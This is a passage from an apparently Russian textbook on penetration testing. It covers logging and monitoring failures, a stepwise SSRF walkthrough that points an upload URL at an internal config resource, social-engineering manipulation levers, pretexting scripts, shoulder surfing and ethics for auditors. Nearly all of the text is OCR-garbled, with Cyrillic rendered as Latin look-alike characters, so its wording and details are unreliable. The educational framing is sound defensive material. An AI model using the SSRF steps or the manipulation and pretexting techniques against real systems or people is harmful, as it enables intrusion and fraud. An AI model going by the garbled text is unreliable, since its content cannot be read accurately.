paspaborku T10O, pyist yuporeHust paGoThl paspabOTUNKU UCTOMB3YIOT MHOKECTBO
PasIMYHBIX OUOIMOTEK U MOAKII0YaeMbIX MOAYJIeil. VIcIoib3oBaHue yCcTapeBIImnx
MJIN YSI3BUMBIX CTOPOHHUX KOMITOHEHTOB MOJKET IPUBECTH K HAPYIIEHUIO 1[€JI0CT-
HOCTHU CUCTEMBI U JIaHHbIX. K TOMY JKe He Bcerja yjessieTcs 0JKHOe BHUMAaHUE
[POBEPKE B3aUMO/IENCTBUS TAKUX KOMIIOHEHTOB JIPYT C IPYTOM.

OLwWnBKM MOHUTOPUHIA N BEAEHUS
XXypHanos 6e30nacHoCTun

OumnbKyn MOHUTOPUHTA U BeIeHUsT KypHaJIoB Oesomacuoctu (Security Logging and
Monitoring Failures) oTHocsTCS K THITY YA3BIMOCTEN, KOTOPBIE CBSI3AHBI C HEMO-
CTaTO‘-IHOfI, HEHpaBHHbHOﬁ 3alluCbIO I/IH(l)OpMa]_[I/H/I (6] CO6BITI/I$IX NJIM OTCYTCTBUEM €€
(buKcamy B J10rax ¥ HEIPABUIBHBIM MOHUTOPUHTOM GE30ITACHOCTH BEO-TTPHIIOKEHHST
i uH@pacTpyKTyphl. B pesysbraTe aTaku ¥ HapylleHMsI MOTYT OCTaBaThCsl Hesa-
MEUYEHHbIMU WNJIN K€ paCC/IeJOBaHNA TaKUX MHIIUAEHTOB CTAaHOBUTCA ITPAKTUYECKHN
HEBO3MOKHDBIM. STO, B CBOIO O4Y€pe/ib, MIPUBOJAUT K TOMY, UTO KOMITAaHUHW HE MOTYT TIpe/i-
IIPUHATD aJleKBaTHble 11ary UL UCIIPaBJIeHUs] CYLeCTBYIOMUX HEIOCTaTKOB B CUCTEME.

Ya3BUMOCTH TaKOTO PO/ia BO3BHUKAIOT M3-3a CJEAYIONNX HpO6]IeMZ

e OrcyrcTBue nHGOpPMAIMY O TPOU3OLIEAIINX HHIUAeHTaX. Ecim soru He cozep-
JKAT JIOCTATOYHO MH(MOPMAIIUK O IEHCTBUSAX M0JIb30BaTeseH U CUCTEMBI, CJIO3KHO
ONPE/IESTUTh TIPUYUHY U XapaKTep HapylIeHUst 6e30TIaCHOCTH.

e HeomnpeaeseHHOCTD HCTOUHIKA ataku. Eciin jiorn He cofiepskat nHbopMaImu 06
[P-aspece wim npyrux ujieHTU(UKATOPAX aTaKYIOIIEro, 9TO 3aTPYIHSET OIpe-
JieleHne NCTOYHUKA aTaK/ U MPUHSITHE Mep [IJIST TIPE0TBPAIIEHUST JaTbHEHTITNX
aTak.

e 3ajepkKa B OOHAPYKEHUU WHIMIEHTOB. HeBepHO HACTPOEHHBI MOHUTOPUHT
MO’KeT IIPUBECTU K TOMY, YTO aTaK! OCTAIOTCS He3aMeUYeHHBIMI Ha TTPOTSLKeHIN
JJINTEJIbHOTO BDEMCHU, YTO YBEJINYNBACT BO3MOJKHBII yluep6

[ ] OTcyTCTBI/Ie sioroB. Eciu jioru He XPpaHATCA JOCTATOYHO J0JITO, ayAUT 6esormac-
HOCTHU CTAaHOBUTCA HEBO3MOJKHBIM, YTO YMEHbIIIAaET O6HH/II>1 YPOBEHDb 3allUThI
cuctembl. K 9TOMY K€ MYHKTY OTHOCUTCA HEJOCTATOYHAA 3alllnuTa JIOTOB. Ecim
aTaKyIOH.II/If/,I MOJKET MOJNYYUTHh K HUM TTOJTHBIT OOCTYII, OH CMOJKET USMEHUTD NN
YAaaInUTh 3alliCu.
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® U36BITOYHOCTH JTOTOB. Jlaske ecyiu ¢ JJOTaMHU BCE B MOPSIIKE, CAYIAETCS, 9TO
cucTeMbl (0CO6EHHO B GOJBIINX OPTAaHU3AIMSIX ) CO3/IAIOT UX CJAUIIKOM MHOTO.
B otcyTcTBIE HOPMATBLHON CHCTEMBI 0OPabOTKH 1 IIEHTPATU30BAHHOTO XPAHEHMUST
JIOTOB paboTa ¢ HMHU B PYYHOM PEKUME MTPAKTUYECKH HEBO3MOKHA.

Moaaenka 3anpocoB Ha CTOPOHE cepBepa

IMoxuenka sanpocos Ha cropore cepsepa (Server-Side Request Forgery, SSRF)
SIBJISIETCST YSI3BUMOCTBIO BEO-TIPUITOKEHIA, TIO3BOJISIIOIIEH aTaKyIOIIEeMY BbIITOJHSTh
3arpochl OT UMEHU cepBepa, Ha KOTOPOM OHM paboTarioT. TO JaeT 3JI0YMbIILICHHUKY
BO3MOKHOCTH MTOJIYYUTD JOCTYI K UYBCTBUTENbHBIM JaHHBIM, HEIOCTYITHBIM C KJTH-
€HTCKOU CTOPOHDI, MJIH B3aUMO/ICHICTBOBATH ¢ APYTUME CUCTEMaMU U CJIyKOaMu
BHYTPH CETH cepBepa.

SSRF uyacto Bo3HMKAET, Koraa BeO-npuiiokenne o0pabarbiBaeT Takie BHELIHIE
pecypebl, Kak n300paxkeHus Wian (ailjibl, U MO3BOJISET T0JIb30BATENI0 YKA3hIBAThH
URL-agpec nmu aapec pecypca. Ecan mpoBepka BXOAHBIX JaHHBIX HEOCTATOUHA
WJIA OTCYTCTBYET, 3JI0YMbIIIEHHUK MOsKeT mogaMeruth URL-azpec Tak, 4ToObI OH
yKa3bIBaJl Ha BHYTPEHHUI pecypc cepBepa WM IPYTYI0 CUCTEMY B CETH.

Paccmorpum nipumep ataku SSRE

[TpeamonoxuM, y HaC eCTh BeG-TIPUIOKEHNE, KOTOPOE MO3BOJISET MOJb30BATE-
JIIM YCTaHABIWBATH aBaTaPhl, 3arpyrkast M300pasKeH s ¢ BHEIHUX caiiToB. Beb-
npunoxenve npuanmaetr URL-azipec B kKadecTBe N300PaKEHMS 1 3arPYIKaeT ero Ha
cepsep. g aTaku Ha JaHHOE TIPUJIOKEHNUE MOKHO MCIIOIb30BaTh SSRE.

[MTar 1. VccaenoBanue puiokenns.. BHayane Mbl UcCIeayeM BeO-TIPUIOKEHIE
1 HAaXOUM (DYHKIIMIO, KOTOPAs TIO3BOJISIET 3aTPy»KaTh aBaTapbl ¢ BHEITHUX CAlTOB.
BrrsicHsieM, uTo B KauecTBe mapaMerpa Mbl MoskeM 3anaTh URL-azapec.

[Iar 2. [ToaroroBka URL-aznpeca. Tereps mbi cozaem URL-azipec, yKa3biBaiommit
Ha BHYTPEHHUI pecypc cepBepa. Harpumep, Mbl MOKEM TIOJIYUUTh JaHHbIE KOH(DU-
rypamuu BeO-puiioskeHust, cosaas caeayrommii URL: http://example.com/config.

[MTar 3. 3anpoc SSRF-ataku. Bmecto ccbuikm Ha KapTuHKy BeTasisgem Har URL-
anpec B hopmy 3arpysku aarapa. Eciu se6-tipusioskenue He nposepsier URL-anpec
U TIPOCTO 3aTrPy:KaeT YKa3aHHBIN Pecypc, CepBep BLITOIHUT 3aIIPOC K BHYTPEHHEMY

pecypcey.
[IIar 4. ITony4yenne pe3yasraToB ataku. Eciy Halla ataka ycrenHa, To cepBep BEpHET

COZIEPKUMOE BHYTPEHHETO pecypca config. DTo MOKeT aTh HAM JIOCTYTI K 4yBCTBU-
TeJbHOU MH(pOpMaIUK, BKJIIOUAS yUYeTHbIE aHHble WK KOH(MUTYPAITUIO cepBepa.

Yro6sl ipegoTepaTuth SSRF-ataku, BeO-IPUIIOKEHUsI JOJKHBI BBIIOJHSITH CTPO-
I'YIO IIPOBEPKY BXOAHBIX JAHHBIX, OTPAHUYNBATD BO3MOKHOCTDL OTIIPABKU 3aIIPOCOB
K OIlpe/leJIeHHbBIM JIOBEPEHHBIM JIOMEHaM MJIU a/[pecaM U UCII0Ib30BaTh CIIMCKU Pa3-
PEIIeHWH ¥ CITMCKU 3alPENeHUH /1711 KOHTPOJIS IOCTYIIA K OIPeIeJICHHBIM pecypcam
WJIH CIIyKOaM.
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Mot yiKe JOCTaTOYHO MHOTO TOBOPHWJIN O ITPUEMaAX, 3aCTaBJIAIOMINX I/IHCI)OpMaL[I/IOHHyIO
cucreMy BeCTH cefsi HMEHHO TaK, Kak HaM Hajlo, a B CJIE/YIOIHX TJIaBaX Bbl y3HAETe
06 aToM erte Gosbine. [IPUIIITO BpeMs TIOCMOTPETh Ha TPOGIEMY HE €O CTOPOHBI
MAlIIMHbI, @ CO CTOPOHBI YesioBeka. Kak Obl TOHKO CUCTEMHBIH aJIMUHUCTPATOP IO/
YYTKUM PYKOBOJACTBOM CIIEIMANUCTA 0 MH(POPMAIMOHHON 6€30MacHOCTH HY Ha-
CTpamBaJl CBOM CHCTEMBI, IPUOOPETEHHbIE Y CAaMbIX MMEHUTHIX IPOU3BOAUTEIEH,
B €r0 CeTH Beera OyieT IPUCYTCTBOBATD C1ab0e 3BEHO — YeJIOBEK.

ComnmasnbHast MHKEHEPUST — 3TO METOJbI TICUXOJOTTYECKO MaHUTTYJISIINN YeJi0-
BEKOM, HallpaBJIeHHbIe Ha TO, YTOOBI 3aCTABUTh KEPTBY BBIIIOJHUTH ONIPeleIeHHbIe
JIeICTBUS B TI0JIb3Y aTaKyIOIIeTro.

Ha camom fiesie niosib3oBaTe b — OJMH U3 Ba)KHEHUIITNX KOMIIOHEHTOB cCTeMBbI. Be/b
BCe, YTO CO3/IA€TC, CO3AETCS NUMEHHO JIJIsT HeTO. Y HEro ecThb JIOCTYII B CHUCTEMY,
onpeeJeHHble ITPUBUJIETUN, U OH MOKET OCYIIECTBJIATDH Pa3JUYHbIe OlePaliu.
ATakyiommeMy HEeBaKHO, KAKUM CIIOCOOOM OH IIPOHUKHET B CETh IPEANPUTHU, BaKHA
JIALIb 11eJ1b. [T0JIb30BaTe b IPEACTABIAET COOOM MEPBYIO IMHUIO 3ALIUTHL, U €CJI OHA
HaJeT, TO BCS CHCTEMA PYXHET JJOBOJIbHO OBICTPO.

B nannoii rimaBe Mbl PACCMOTPUM HEKOTOPbIE TEXHUYECKHE TPUEMBbl, KOTOPbIE yCIIelI-
HO IIPUMEHSIOT JIJIs1 BO3/IEHCTBUS Ha 10JIb30BaTe e, a TaKkKe IIPUBe/IeM Pa3InyHble
MIPUMEpBI aTaK.

DTNYECKne acrnekThbl coumaanoﬁ NHXXEHEPUU

[Ipu mpoBesenny aTak Mo TUILY COIUAIBHON NHKEHEPHUH BbI JIOJIKHBI ITPE/ICTABJSATD
MOCJIE/ICTBYSE, KOTOPbIE MOTYT HACTYIIATb JI7isI Ballieil 1ieJin. B pesyJibrare paboTsl Bam
HY’KHO PACKPBITH KaK MOJKHO OOJIbITE YSI3BUMOCTEN B 3AIUTE 3aKa39NKa, A B CIIyUae
C COLMAIIBLHOM nKenepuell okasarb, YTO y COTPY/IHUKOB HeT HaJylesKallleil 10/ro-
TOBKU WJIM MHCTPYKIUIL, KOTOPBIM OHU JIOJIKHBI cJie1oBaTh. [Ipu aToM 110 BO3MOXK-
HOCTH BbI I0JKHBI 3aIIAIIATD [T0JIb30BaTe .
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OpiH 13 crtoco6OB 3alUTUT JIFOAEH — CIeJaTh X OTHOCUTEIbHO aHOHUMHBIMU JIJIST
Bamiero kinenTa. Hampumep, BMecTo coobienust o Tom, uto JImurpuii BacuibeBuy
13 OT/IeJIa IPO/IaK Mepeliest Mo CChlIKe B (DUITMHTOBOM IMCbME, YKasKUTE, YTO CO-
TPYAHUKK OT/EIa MPOJAK OKa3aauch 6oJiee TOABEPKEHbI (PUITMHTOBBIM aTaKaM.
[Ipu aTOM BBI I0KHBI YYUTHIBATH Pa3Mep OPraHU3aIuy 1 BO3MOKHOCTD YCTAHOBUTD
JIMYHOCTD KEPTBBI IO MPEIOCTABJICHHBIM BaMU JAHHBIM.

ITocne nmpoBeneHus ayauTa Bbl Beerga Oyaere cocTaBIaTh (hDMHAIbHbI oTueT. BHu-
MaTeJIbHO CJeUTe 3a TeM, YTOObI Ty/Ia He Molajajia Ju4Has nHOOPMAIIA COTPY/I-
HUKOB. Tak, He cTOUT yKa3biBaTh, 4To OJibra /[MUTpUEBHA UCIIOIH30BAJIA B KAUECTBE
MApoJIst CBOIO IEBUUBI0 (hamMuiiio «3acenbiieBar. JloctaTouHOo OyIeT YKasaTh TO, 4TO
B KOMIIAHUU HET JOJIKHOTO KOHTPOJIS 32 COOJIOAEHUEM TIOJTUTUKNA B OTHOLIEHIH
MapoJieil ¥ MO3TOMY HEKOTOPBIM COTPY/IHUKAM CHCTeMa TT03BOJINJIA UCITOJIb30BaTh
Hebe30I1acHble TTapOJIu.

Iepen poBeieHUEM TECTOB CJIeyeT OOrOBOPUTH BOIIPOC PA3IJIAIIEHUST UMEH CO-
TPYAHUKOB, CTaBIIINX )KepTBOﬁ clriequaJincTa 1mo COHHaJIbHOﬁ MHXEHEPUN. Bror Jaxxe
MOZKeTe BHECTH B 9TOT JIOTOBOP ITYHKT O TOM, YTO B CJIy4ae PasrJIallieHis IePCOHaIb-
HBIX JAHHBIX COTPYAHUKA, OJ1aroapsa KOTOPOMY YIaJ0Ch IPOHUKHYTh B CETh IIPe/-
NPUATHS, JaHHas IIePCOHA UJIM IIEPCOHBL He OYAyT yBoJAeHbl. Takke 00s3aTeIbHO
YKaKUTE TeX, KTO eICTBOBAJ CTPOTO MO WHCTPYKIIUU U YCIIEITHO TPOTUBOCTOSLI
BCEM TIOIIbITKaM BTOp;KeHust. CTpaHa JI0JKHA 3HATh CBOUX repoeB)

O6s13aTeIbHO YKAKUTE B OTYETE, YTO KOMIAHUS JIOJKHA TIPOMHMDOPMHUPOBATE CO-
TPYAHUKOB, OKA3aBIIMXCSA HEBOJIBHO BOBJICUYECHHBIMU B 9TOT ay/IUT, O TOM, KAKUM 06~
pa3oM aTakylolye MoJyYnIn UX JaHHble, O COTJIAaCUM OPraHU3alluK Ha ITPoBeleHe
ay/IuTa M O COXPAHHOCTH JIMYHBIX JAHHBIX COTPYAHUKOB. KpoMe TOro, oprannsarms
JIOJIKHA MICTIOJIB30BATD TIPEIOCTABIEHHBIN BAMU OTYET BMECTe C PEKOMEH/AINSIMU
U IpUMepPaMi CIleHapueB ISt 00yYeHUs COTPYAHUKOB C IIEJIbI0 IPEI0TBPAIICHHUST
MOM0GHBIX HHITUICHTOB.

U ere HeCKOJIBKO ¢JI0B 00 aTuKe. IIpu IIPOBEIEHUN TECTOB HE TIEPECTyIIaliTe paMKU
m03BOJIEHHOTO. ECM 4emoBek X0UeT MpeKpaTHTh ¢ BaMU OOIIeHNe, MyCTh TaXke He
BBICKA3BIBAET 9TO B OUEBUIHOM (hOpPMe, BBI JIOJIKHBI TIPEKPATUTb.

He wucrniosib3yiite npuBatHble KaHaubl it oOmienust. [la, Bo Bpemst dhasbl cbopa n-
hopmarinu Bel MOKeTE HAWTH JINYHBIN HOMEP TeJiechOHA I AKKAYHT B COIMATTBHBIX
CETSIX, KOTOPBIH He OTHOCHUTCS K padoTe. OMHAKO ¢ TOUKH 3PEHUST STUKU UCTIOIH30-
BaHHe 9TUX KAHAJOB CBS3MU JJISI TIPOBEIEHUS aTaK! HeomycTnMo. To ke KacaeTcs
TIPOBE/IEHIST BAIIUX TECTOB B HepaboUee BPeMst KOHKPETHOTO YeTTOBEKA.

Beerza ybexaaiitech B TOM, 4TO BBITOJHSIEMbIE BAMU JE€HCTBUS 3aKOHHBL. B HEKOTO-
PBIX CTpaHaX, HAIPUMEP, 3aMNCh Teae(OHHOTO PA3rOBOPA MOKET OCYIIECTBIATLCA
TOJIBKO C COTJIACHS IBYX CTOPOH.

Ecou Bb1 Gy/1eTe co3maBaTh MOIJIETBHYIO CTPAHUILY ¢ (OPMOIT /I BBOJIA JIOTWHA U T1a-
pouIst, yOeITeCh, YTO MIPUHSIIN BCE MEPBI JIJIS TOTO, YTOOBI 06E30IIaCuTh IOy YeHUE
U XpaHeHHe 3TUX JaHHBIX. VICrmonb3yiiTe TOJbLKO T cepBePhl U IOMEHBI, KOTOPbIE
IIPUHAJIeKAT BaM.
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[cMxonormyeckme KoHUeNuUmm
B COLMANbHOW MHXXEHEepUn

B orymmune ot ocranbHbIx obacTeit PIHq)OpMaHHOHHOfI 6830H3CHOCTI/I, OIINPalOIUXCA
Ha I/IH(l)OpMaTI/IKy, CHUCTEMHOEC a/IMUHUCTPUPOBaHUE, ITIPOIrPaMMUPOBaHNE, COIIMa/IbHasA
WHKXEHEPUA 3aUMCTBYET OOJIBIINHCTBO CBOUX KOHIEIMI 13 IICUXOJIOTUH.

HOCKO]Ibe CoMaJIbHasA MHKECHEPUA MTOAPA3YMEBACT KOHTAKT YEJIOBEKA C YEJTOBEKOM,
TO H€O6XOZII/IMO PACCMOTPETH METO/IbI, TIPU TMTOMOIIN KOTOPBIX MOJKHO 3aCTaBUTH
YeJI0BEKa BBIITOJHUTH HYKHOE ,Z[efICTBHe.

Buusgnue — tepmut, 0003HAYAIOIINIT TI0BEIEHYECKOE BO3AEHCTBIE, IPUBOSIILEE
K OIPEIeJIEHHOMY pe3ysibraty. BiusiHre MOKeT ObITh MOJOKUTETHHBIM WU OT-
puTiaTesbHBIM. Tak, MeXaHUK, TOBOPSIINHI ¢ HE3HAKOMBIM C TEXHUKON UeI0BEKOM
0 COCTOSTHUU €r0 aBTOMOOMJIS U TIPEJIAralolUil BAPUAHTHI 110 PEIEHUIO TPOOJIEMBI,
OKa3bIBaeT Ha HEro BaMsHUe. MaHUIY AU — 9T0 IaryOHoe IPOsIBIeHNe BIUSHUS,
00BIYHO HAllpaBIEHHOE Ha IPUYMHEHNE BPea.

JloBepuTeIbHBIE OTHOIIEHTT O3HAUAIOT OTHOTIIEHNS, XapaKTePU3YIOIINecs CoTIacueM
U IOBEPUEM JIPYT K JIPYTY, UTO iesaeT obienne Gosee terkuM. UToOBI BBICTPOUTDH Ta-
KHe OTHOMIECHHUS, ATAKYIOIIHE YacTo MOIAraloTest Ha 061 orbIT (GY/Ib TO PeabHbIi
WJIM BBIMBINIJIEHHBIN ), UTPAIOT Ha MHTEPECAX KEPTBbI U TOUEPKUBAIOT CBOU COO-
CTBEHHBIE YePThI XapakTepa. Yacto nndopmaryu, nomydeHHoi cpeacrBamu OSINT,
OBbIBAET JI0OCTATOYHO JIJIsI TOTO, YTOOBI Y3HATH O CUMITATHSIX ¥ YBJICUEHUSIX CBOEH TIEJIH.

Buacre. Jlioau CKIOHHDI BBIIOJIHATD OIPEAEIEHHOE JeiiCTBIE, eCIH IIPOChOa NCXO0-
JIAT OT KOTO-TO, 00J1a1aI01Iero OOIBIINM aBTOPUTETOM, YeM OHM. ITa TeXHUKA OYeHb
aheKTUBHA: TaK, aTaKYIONTUH MOKET CChLIAThCSI Ha CTATHU B 3aKOHAX, I0BEPEHHOCTH
u npukasbl. CraBinii 00bEKTOM BJIMUSHMS Y€JI0BEK, CKOpee Bcero, He OyeT 3HaTh,
gTo Hanucano B crathe 12 mynkre 5 Menepamproro 3akona Ne 327 ot 14 despasst
2023 roza. Beera moMHETE 0 TOM, UTO JasKe €CJIH Y BaC €CTh BCe HeOOXOMMBbIE [0~
KYMEHTBI Ha TIPOBe/IeH e ayAnTa 6e30MacHOCTH, BKJII0YAst COLUATBHYIO HHKEHEPUIO,
MPENICTABJSTHCS COTPYIHUKAMU MTPABOOXPAHNUTETbHBIX opranoB (nosmiun, OCH
U T. ]I.) HE3AKOHHO.

HOHpO6yI>)IT6 BbI3BATh CUMIIATHIO — JIIO/IN, KaK ITPaBUJJIO, XOTAT ITOMOYb CUMIIa-
TUYHBIM UM JIIO/ISAM. Bur KOFI[a-HI/I6y,Z[b BCTpeydaJin IpoJaBlia, KOTOpHﬁ XOTs OBl
HE IIBITAJICS ObITh BEKJIUBBIM U y‘ITI/IBbIM? .HIOI[I/I, IIbITalONIMeCA 3aBOEBAaTh Ballle
PpacIiosIoKeHne, 6y,71}7T JeJIaTh BaM KOMIVIMMEHTDI 11O TITOBOY O€K/1bl, BHCIITHOCTN
U1 MHTEeJJIEKTa.

CpouHoCTh U epunut BpeMeHu. B Takre MOMEHTBl KDPUTHUHOCTD BOCTIPUSTHS
MPOUCXOATINX COOBITUH CHUKAETCS M YEJIOBEK CKJIOHEH K UMITYJIbCUBHBIM U He-
06[yMaHHbIM MOCTYITKaM. Takoil IpreM 4acTo UCTOJIb3yI0 MapKeToaoru. Bl Ha-
BEpPHSIKA BCTPEUAHCH C CUTYallMel, KoT/la Ha cailTaX MOsBJIsSeTCs TaliMep OTcUeTa,
MIpelypesk/IaloNIni, 4To JaHHOE Clel[MaIbHOe MPe/JIosKeHe 3aKaHYNBaeTC s yepe3
Yac WK MATHAANATh MUHYT (Wiu JII000H Apyroii epuos Bpemenn). To ke camoe
MTPOMCXO/IUT, KOT/IA YeJIOBEK MOJIydaeT (PUITMHTOBOE MIChMO, B KOTOPOM CKa3aHO,
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YTO B €T0 IIOYTOBOM ANINKE 3aKOHYUJIOCh MECTO, U €CJIN OH HE XOYET, 4TOOBI gepe3
12 yacoB Bce nucbMa ObLIM aBTOMaTUYECKU yAaJjieHbl, TO HeO6XOI[I/IMO HpOﬁTH 10
CCBhIJIKE JIA TTOoJIyY€eHU s IOMMOJTHUTEJIbHOTO MeCTa Ha CEPpBEPE.

Counanbuoe omgodpenue. 1o cBoeil cyTu Bce MbI CYI[ECTBA CONUATBHbBIE, U HAM
BaykKHO TIOJIy4aTh 0J00pEHIe TPYIIIBI, ¢ KOTOPOI MbI cebst cootHocuM. Obparure
BHUMAaHUE: JIIOJU UHOT/IA JIEJIAI0T YTO-TO UCKITIOYUTENBHO TIOTOMY, UTO JAPYTHE JITO/IN
CUMTAIOT 3TO HOPMAJBHBIM, YMECTHBIM WJIN cTaTyCHBbIM. ColManibHble NHKEHEPHI
MOI‘yT y6e[[I/ITb CBOIO 11eJIb BOS[IGﬁCTBI/IH B HAJIMYNN y Yero-To BbICOKOI'O CTaTyCB. nJn
B TOM, UTO BCE OCTAJbHbBIC BEICOKOA((EKTUBHBIC COTPYAHUKHU JEJIAIOT TO, YTO OHU
IBITAIOTCS 3ACTABUTD CBOIO 11€JIb c/lesiaTh. Bo Bpemst chopa mH(pOpMaIny MOKHO Hall-
THU IIOTEHIIMAJIbHbBIX KOJIJIET )KepTBbI, LITO6bI 3aTeM yBepHTb, YTO OHU ITOCOBETOBAJIN
00paTUThCI UMEHHO K 9TOMY YeJIOBEKY Kak O0JIaiatolieMy HyKHOM KBaubuKanmei
U OIIBITOM JIJISI PELIIEHUS TEeKYIIEH IPpOOJIeMBblL.

OTinaHbIN cIOCOO YCTAHOBUTD B3aMMOIIOHUMaHHE — MPOSIBUTH COYyBCTBHE. [Ipe-
JIOTBpAIas MyTaHUILY B TEPMUHAX, PA3Be/IEM HMITATUIO U CUMTIATHIO. IMTATHAS — 9TO
MOHUMAHIE TOTO, YTO JION IYBCTBYIOT, KaK €CJ OBl BbI OBLIN B X CUTYaIUH. M-
MaTHsT OTIUPAETCST Ha OOTIE IMOTIUH WK OOTIE TOYKY 3PEHUS, TOT/[A KaK CUMITATHST
BBIPAXKAET TOJBKO TO, YTO YyBCTBYeTe Bbl. HecMOTps Ha aTy pasHuity, mpu onpee-
JIEHHBIX OOCTOSITEIbCTBAX BbI JIOJIUKHBI YMETH BBIPAKATh CBOU YYBCTBA M C OHIMA-
HUEM OTHOCHUTBCS K YyBCTBAM >KE€PTBBI; HO TAK)Ke BbI JIOJIKHBI KOHTPOJIUPOBATH 3TOT
TpoTiecc 1 He 3aX0/IUTh CIUTITKOM JIaeKo.

BsauMmopeiicTBysI ¢ KepTBOii, BbI MOKETe HOAENUTHCsI KaKOI-HUOY b CBOEl uCTopuei
(HacTOsAIEeH WM TIPUYMAHHON ) U TeM, KaK Bbl YYBCTBOBAJIU ce0s TIPU 9TOM. ITO
MTO3BOJIUT BTOPOW CTOPOHE ITPOSIBUTH COUYBCTBUE K Balllell CUTYaIluy U YJIYUIINT B3a-
nMonoHnMaHue. Eci KTo-To pacckasbIiBaeT BaM TO, K YeMy BbI He UMeeTe HUKAKOTO
OTHOILICHUS, 3a/laliTe UM BOIIPOCHI O CUTYallMU WUJIU BBICKAXKUTE COXKAJICHUE O TOM,
YTO YTO-TO IIPOU3OIILIIO, — ITO [IPUMEP BBIPAKEHUS COUYBCTBUSL.

Ha koro obpatuTb BHMMaHue?

HOCKOJIbe colraJJbHadaA MHKEHEPUA BO MHOTHUX CaydadaXx He Tpe6yeT 0COOBIX Ha-
BBIKOB, TO KpyT JIIOlIeﬁ, KOTOPpbI€ MOT'YT HaHECTHU BPE€/l OpraHn3dalnu, CymeCTBEHHO
YBEJINYNBACTCA.

IIpesk e Beero, 910 Jirobbie cnenuamcTbl B o6xactu UT. [[a, BEPOSTHOCTD YCIENTHON
aTaKy MPOTHUB HUX HUJKE, HO B CJIyYae MOJOKUTETBHOTO MCX0/a BbI TIOJTydrTe GoJiee
IIUPOKKE IPUBUJIETNU B CUCTEME, HEJKEJIN YeM MIPU aTake Ha 0OBIYHOIO M0JIb30Ba-
TeJIA.

[lajiee, 5T0 pazoyapoBaHHbIE PAOOTHUKH, KOTOPbIE ITPEICTABJISIIOT GOJIBIITYIO YTPO3Y
JUIsT opranusaiuu. Yaiie Bcero aTo JIO/H, HeJJOBOJIbHbIE HBIHEITHUM MTOJIOKEHNEM
JieJT B KOMITAHUH, CBOEH JIOJIKHOCTBIO, OKJIA/IOM UJIN YBOJICHHbBIE, HA WX B3TJISI, He-
crpaseuuBo. [lo cratucrike, B CITA 75 % coTpyIHUKOB BOPYIOT 4TO-JTHO0 Y CBOETO
paboromares, a 0koj0 60 % mocie yxozna 3abupaior ¢ co0oil JaHHbIe 0 KOMITAHUH
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U kaveHTax. Yale Bcero JaHHble BBIHOCAT Ha Oymare, j)KeCTKUX AMCKaX, (Jiel-
Kaprax. 38 % COTPYAHUKOB UCIIOIB3YIOT TIEPCOHATBHYIO TTOUTY JIJIst 0OMeHa KOH(DU-
JEHIMAJIbHOM nHpopMalnmei npeanpusaTs.

Hndopmanuonnsie Opokepbl. [lajke ecyin OpraHu3aliio He B3JIaMbIBAIOT B JaHHbII
MOMEHT, TO 3TO HE 3HAUUT, YTO OHa He HAXOAUTC 1Mol HabmoaeHneM. CyIecTByOT
1eJIble KOMITAHWK, OCHOBHOM 3a/1aueii KOTOPBIX SABJIETCs cO0p IepCOHANLHOI nHbOp-
Malluu ¢ IeJIblo ee mociaeayionleii nepenpogaxu: LexisNexis, KnowX, MasterFiles
u T. 1. VIX MOKHO OBLIO GbI OTHECTH K Paspsily CIIEIMaICTOB, HO Mbl HAMEPEHHO BbI-
JIeJINJIA UX B OT/IEJbHYIO KATerOpuIo, YTOOBI ellle Pa3 HoAYEPKHYTh BaXKHOCTb cOOpa
KaK MOKHO OOJIBIIEro KoJuuecTBa MH(MOPMAIUU O 1eJIeBON OPraHu3aliuu.

OXOTHHKHM 32 IOJIOBAMH 3aHUMAIOTCS TEM, YTO OCYILECTBJIAIOT HOA00D IepcoHaa
JUIST OTIpeleJIEHHBIX OPTaHU3aIi. Y TaKUX KOMIIAHUI eCTh I1eJible CAiiThl ¢ BaKaH-
cusimu. YeM oHU MOTYT ObITh 110J1€3HbI? OOBIUHO TaKKUE JIOAU JOCTATOYHO XOPOIIO
3HAIOT CTPYKTYPY OPTAaHU3AINH, [IJIT KOTOPOU OHU UIIYT Jiofed. Huuto He memraet
HaM co371aTh IpoduIb, mpeanoaoxuM, Ha linkedin, koropsrii 6yzaer #a 120 % orse-
4yaTh TPeOOBAHKAM OJHON M3 BaKaHCUM, a BO BpeMsl cobeceoBaHus, KOTOpoe Oy1eT
BHaYaJIe IIPOXOJAUTh UMEHHO C PEKPYTUHIOBOI OpraHusalueii, ysuaTh 60JIblIe O 11e-
JIeBOU KOMIIaHWU.

Tunbl aTak

IIperekcrunr (pretexting). B aToM ciyyae yeioBek Bbiaetr cebs 3a IPyroro, YToObI
HOJYYUTh HEOOXOAMMYIO HH(pOopMaIuio ot cobecentnka. OOBIYHO TPU TAKOM THIIE
aTakK 3JI0yMBIIIIJIEHHUK 3BOHUT CBOM sKEePTBe, MMesI 3apaHee 3ar0TOBJIEHHBIN clieHapuit
TS TIOCTIETYTOTIIETO PAa3roBOPa, OTCIO/A M TPOUIONIO Ha3BaHUeE IAHHOTO THIIA aTaK!.

Hanpumep, Haiig B MycopHOM 6Gake KBUTAHIMIO M3 GaHKA, 3JI0YMBINICHHUK TI0-
3BOHWJI JKEPTBE, IPEACTABUBINNCH COTPYAHUKOM KPEJIUTHOTO OT/EJIa, U CKa3aJl, uTo
CPOK ZIEHCTBUS KapThl JKEPTBBI MCTEKAET U OHA MOKET 3aKa3aThb HOBYIO. B oTBer
JKePTBa COOOIINIIA, YTO ITO He TAK U eif HAJIO TPOBEPUTH CPOK JAEHCTBIST CBOEH KAPTHI.
3JI0YMBITIJIEHHIK, COCJABIIICH Ha OMMUOKY B CHCTEME, TIOTIPOCHJI YTOUHITh HOMED
KapThl, U KEePTBA COOOIINTIA €TO.

IMoarasiaeiBanue (Shoulder surfing). Eciiu mombtathest IepeBECTH 3TOT TEPMITH [0~
CJIOBHO, TO TIOJIYYUTCS YTO-TO BPOJIE «3arJISIIBIBAHUS Yepes TIed0». B cayuae Takoii
aTaKy HalaaoIuil HAOI0[aeT 3a JKePTBO U 3aIlIOMUHAET AEHCTBIUS, KOTOPbIE OHA
TIPOU3BOJINT, 3aTEM UCTIOIB3YET MOTyYeHHbIE TaHHbIE TSI TOCTEAYIONIeN aTaku.

Ha camom zmesie Habmionarth 3a KepTBOI MOXKHO pasindubiMu criocobamu. Hamaga-
IOIIMI MOJKET MCII0JIb30BaTh KaMePbl WJIK 3epKaJia /it HaOJII0AeHIs Ha PACCTOSAHUI
WJTH JJajke aHAJM3UPOBATh 3alicy ¢ KaMep HabuoeHust. TakuM 00pa3soM MOKHO
rmoyuuTh He TobKo [ITMH-kox kapTel, HO 1 maposm k cuctemam. Hanmpumep, yacTto
